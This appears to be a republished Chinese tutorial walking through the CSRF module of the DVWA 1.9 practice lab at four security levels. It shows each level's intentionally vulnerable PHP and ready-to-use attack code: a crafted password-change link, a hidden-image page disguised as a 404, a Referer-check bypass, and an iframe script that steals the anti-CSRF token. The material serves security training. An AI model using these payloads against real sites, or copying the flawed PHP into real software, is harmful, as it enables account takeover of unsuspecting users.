1. 程式人生 > >DVWA-1.9全級別教程之CSRF

DVWA-1.9全級別教程之CSRF

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM
目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地方還請大家指正。
DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
DVWA共有十個模組,分別是
Brute Force(暴力破解)
Command Injection(命令列注入)
CSRF(跨站請求偽造)
File Inclusion(檔案包含)
File Upload(檔案上傳)
Insecure CAPTCHA(不安全的驗證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站指令碼)
XSS(Stored)(儲存型跨站指令碼)
需要注意的是,DVWA 1.9的程式碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的程式碼,接觸到一些PHP程式碼審計的內容。


DVWA的搭建
Freebuf上的這篇文章《新手指南:手把手教你如何搭建自己的滲透測試環境》(http://www.freebuf.com/sectool/102661.html)已經寫得非常好了,在這裡就不贅述了。
CSRF
CSRF全稱Cross-site request forgery,翻譯過來就是跨站請求偽造,是指利用受害者尚未失效的身份認證資訊(cookie、會話等),誘騙其點選惡意連結或者訪問包含攻擊程式碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證資訊所對應的)伺服器傳送請求,從而完成非法操作(如轉賬、改密等)。CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用。在2013年釋出的新版OWASP Top 10中,CSRF排名第8。


下面對四種級別的程式碼進行分析。
Low
伺服器端核心程式碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = mysql_real_escape_string( $pass_new );
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	mysql_close();
}

?>
可以看到,伺服器收到修改密碼的請求後,會檢查引數password_new與password_conf是否相同,如果相同,就會修改密碼,並沒有任何的防CSRF機制(當然伺服器對請求的傳送者是做了身份驗證的,是檢查的cookie,只是這裡的程式碼沒有體現==)。 
最基礎的:http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
當受害者點選了這個連結,他的密碼就會被改成password。這種攻擊顯得有些拙劣,連結一眼就能看出來是改密碼的,而且受害者點了連結之後看到這個頁面就會知道自己的密碼被篡改了。


需要注意的是,CSRF最關鍵的是利用受害者的cookie向伺服器傳送偽造請求,所以如果受害者之前用Chrome瀏覽器登入的這個系統,而用搜狗瀏覽器點選這個連結,攻擊是不會觸發的,因為搜狗瀏覽器並不能利用Chrome瀏覽器的cookie,所以會自動跳轉到登入介面。


有人會說,這個連結也太明顯了吧,不會有人點的。沒錯,所以真正攻擊場景下,可以使用短連結來隱藏URL。點選短連結,會自動跳轉到真實網站。

因為本地搭的環境,伺服器域名是ip所以無法生成相應的短連結,實際攻擊場景下只要目標伺服器的域名不是ip,是可以生成相應短連結的。

需要提醒的是,雖然利用了短連結隱藏url,但受害者最終還是會看到密碼修改成功的頁面,所以這種攻擊方法也並不高明。現實攻擊場景下,這種方法需要事先在公網上傳一個攻擊頁面,誘騙受害者去訪問,真正能夠在受害者不知情的情況下完成CSRF攻擊。這裡為了方便演示就在本地寫一個test.html,下面是具體程式碼。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>
當受害者訪問test.html時,會誤認為是自己點選的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為了hack。

Medium
伺服器端核心程式碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = mysql_real_escape_string( $pass_new );
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	mysql_close();
}

?>
int eregi(string pattern, string string)
檢查string中是否含有pattern(不區分大小寫),如果有返回True,反之False。可以看到,Medium級別的程式碼檢查了保留變數 HTTP_REFERER(http包頭的Referer引數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host引數,及要訪問的主機名,這裡是192.168.153.130),希望通過這種機制抵禦CSRF攻擊。

過濾規則是http包頭的Referer引數的值中必須包含主機名(這裡是192.168.153.130),我們可以將攻擊頁面命名為192.168.153.130.html(頁面被放置在攻擊者的伺服器裡,這裡是10.4.253.2)就可以繞過了。

下面是Burpsuite的截圖。

Referer引數完美繞過過濾規則。

密碼修改成功。

High
伺服器端核心程式碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = mysql_real_escape_string( $pass_new );
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
可以看到,High級別的程式碼加入了Anti-CSRF token機制,使用者每次訪問改密頁面時,伺服器會返回一個隨機的token,向伺服器發起請求時,需要提交token引數,而伺服器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。要繞過High級別的反CSRF機制,關鍵是要獲取token,要利用受害者的cookie去修改密碼的頁面獲取關鍵的token。試著去構造一個攻擊頁面,將其放置在攻擊者的伺服器,引誘受害者訪問,從而完成CSRF攻擊,下面是程式碼。
<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>

 

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 

<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
攻擊思路是當受害者點選進入這個頁面,指令碼會通過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的token,並向伺服器傳送改密請求,以完成CSRF攻擊。然而理想與現實的差距是巨大的,這裡牽扯到了跨域問題,而現在的瀏覽器是不允許跨域請求的。這裡簡單解釋下跨域,我們的框架iframe訪問的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位於伺服器192.168.153.130上,而我們的攻擊頁面位於黑客伺服器10.4.253.2上,兩者的域名不同,域名B下的所有頁面都不允許主動獲取域名A下的頁面內容,除非域名A下的頁面主動傳送資訊給域名B的頁面,所以我們的攻擊指令碼是不可能取到改密介面中的user_token。由於跨域是不能實現的,所以我們要將攻擊程式碼注入到目標伺服器192.168.153.130中,才有可能完成攻擊。下面利用High級別的XSS漏洞協助獲取Anti-CSRF token(因為這裡的XSS注入有長度限制,不能夠注入完整的攻擊指令碼,所以只獲取Anti-CSRF token)。這裡的Name存在XSS漏洞,於是抓包,改引數,成功彈出token。


注入程式碼如下。


Impossible
伺服器端核心程式碼

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = mysql_real_escape_string( $pass_curr );
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = mysql_real_escape_string( $pass_new );
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>
可以看到,Impossible級別的程式碼利用PDO技術防禦SQL注入。至於防護CSRF,則要求使用者輸入原始密碼(簡單粗暴),攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊。







相關推薦

DVWA-1.9級別教程CSRF

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

新手指南:DVWA-1.9級別教程SQL Injection

escape index.php 偽造 掌握 post 數字型註入 初學者 hsl 攻擊 *本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停

DVWA-1.9級別教程File Upload

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

DVWA-1.9級別教程SQL Injection

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

DVWA-1.9級別教程Insecure CAPTCHA

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM    目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯

DVWA-1.10級別教程File Inclusion(學習筆記)

根據原創作者:lonehand進行更改,來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地方還請

iOS 9應用開發教程ios9中實現button的響應

ins color cto div eve class sub avi src iOS 9應用開發教程之ios9中實現button的響應 IOS9實現button的響應 button主要是實現用戶交互的。即實現響應。button實現響應的方式能夠依據

Express系列教程(三):get傳參

listen mit for 發送 query 系列教程 系列 真的 bsp 一、關於get請求 一般在網站開發中,get都用作數據獲取和查詢,類似於數據庫中的查詢操作,當服務器解析前臺資源後即傳輸相應內容;而查詢字符串是在URL上進行的,形如: http://loca

Express系列教程(五):Express的中間件

lur 操作系統 outer The scrip option public 說明 .get 一、中間件 從字面意思,我們可以了解到它大概就是做中間代理操作,事實也是如此;大多數情況下,中間件就是在做接收到請求和發送響應中間的一系列操作。事實上,express是一個路由和

Express系列教程(七):cookie的加密

fun return 部分 ror 重新 provided 取出 ole 底層 一、關於cookie加密 cookie加密是讓客戶端用戶無法的值cookie明文信息,是數據安全的重要部分;一般的我們可以在保存cookie時對cookie信息進行加密,或者在res.cook

Express系列教程(九):將session上傳至mysql數據庫

brush l數據庫 inf port module ava 一個 coo oca 一、簡介 實際引用中,有些公司在不同地區會設置不同服務器,因此就需要用到nginx以實現負載均衡,這時,將session數據保存至數據庫就成為了需要面對的問題,我們以MySQL數據庫為例,

Express系列教程(十):jade模板引擎

語法 前言 const ews 並且 如果 () handle 轉換 一、前言 隨著前端業務的不斷發展,頁面交互邏輯的不斷提高,讓數據和界面實現分離漸漸被提了出來。JavaScript的MVC思想也流行了起來,在這種背景下,基於node.js的模板引擎也隨之出現。 什麽

【OpenCV入門教程二】 一覽眾山小:OpenCV 2.4.8 or OpenCV 2.4.9元件結構解析

毛星雲,網路ID「淺墨」,90後,熱愛遊戲開發、遊戲引擎、計算機圖形、實時渲染等技術,就職於騰訊互娛。 微軟最有價值專家 著作《Windows遊戲程式設計之從零開始》、《OpenCV3程式設計入門》 碩士就讀於南京航空航天大學航天學院(2013級碩士研究生),已於2016年三月畢業。本科

Pycharm教程(24)——Pycharm編輯器功能宏定義

ans 指針 ext election ger rda 宏定義 中源 全選   1、為什麽使用宏   增加你須要反復某種操作非常多次。比如選中源代碼並將其發送到控制臺端調試,我們能不能將著一系列操作簡化為一步,甚至用一組快捷鍵來取代呢?   2、準備工作   (

weblogic 8.1教程部署(三)

article pan mod post mark 點擊 應該 pass bsp 在 weblogic 都配置好了之後。就能夠部署項目了。部署項目的時候,能夠大體分為兩個步驟: 1,創建緩沖池; 2,配置

Pycharm教程(11)——Pycharm調試器斷點篇

pes eas 觀察 project 項目 python pre 啟動 image   最全Pycharm教程(1)——定制外觀   最全Pycharm教程(2)——代碼風格   最全Pycharm教程(3)——代碼的調試、執行

【20171121早】DVWA練習:low級別Brute Force

con content word int 4.2 books 安全 主機 每次 0x00:簡介   DVWA是滲透測試網站,想研究安全的兄弟們可以安裝在自己的虛擬機中,沒事的時候攻破著玩,老黑最近在玩這個,當然也遇到了坑爹的 事情,話不多說,直接開始! 0x01:環境

L-1-9 Linux命令用戶日誌查看命令

物理 時間 mail 運行級別 tle var pty con 地址 [last]last查看用戶登陸記錄 -n <num> 只顯示最近<num>次的信息。//相關配置文件/var/log/wtmp[lastb]lastb記錄用戶錯誤的登錄信息

9、ABPZero系列教程拼多多賣家工具 拼團提醒類庫封裝

int 測試類 一個 exists 中長款 returns fun 資料 cor   本篇開始正式做功能,我在開發拼團提醒之前,拼多多並沒有放出拼團人數不足就提醒賣家的功能。 有這個想法主要來源於朋友的抱怨,我想這應該是大部分賣家的心聲吧。 經過分析,拿到了幾個api,

Pycharm教程(26)——Pycharm搜索導航文件名、符號名搜索(轉)

技術分享 tail link isp 嘗試 多重 image pop 教程 1、準備一個工程   向你的工程中添加一個Python文件,並輸入一些源碼,例如:   2、轉到對應文件、類、符號   Pycharm提供的一個很強力的功能就是能夠根據名稱跳轉到任何文件、類、符